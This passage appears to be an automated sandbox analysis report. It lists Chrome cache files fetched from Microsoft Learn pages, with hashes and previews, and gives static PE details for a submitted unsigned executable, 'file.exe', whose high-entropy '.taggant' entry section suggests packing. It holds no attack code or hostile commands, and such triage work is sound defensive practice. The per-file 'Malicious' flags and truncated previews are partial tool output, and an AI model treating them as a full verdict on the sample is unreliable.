SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947323754423944
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'832'960 bytes
MD5:	888242c19537f0f114634d771ce4a9cd
SHA1:	e0e86e160c2c465c3c49b31cdfbbb67ecd5a9366
SHA256:	0ddd13cd233f81153d8d558297ba09317867797db7d87e7758a51e4131e587d6
SHA512:	08d552edae0404a8d25af25ac86cdce98d6e59a32d99fae4e0be5b8085e838aced0c1bd464fc5f6f4c41dc0c5160452d35760ebf0bf702eefcb0c6b7b5560199
SSDEEP:	49152:pF6RzFgJXba+eI62yJWx3NejngZAdvaJkIpatnmIjYPZ7j:pQRzSJX87JWx3bAJ+kIpynmIY1
TLSH:	808533266D124A68CC0EF533FDA7EF48FE5049311662CCCA3A496E15452B2DF6BDD4E0
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................I...........@..........................@I.....@m....@.................................\p..p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x891000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F058085E90Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	b4d0272fe8957218a9d3dcb97aa9c9ba	False	0.997402279290429	PGP Secret Sub-key -	7.977789303429996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
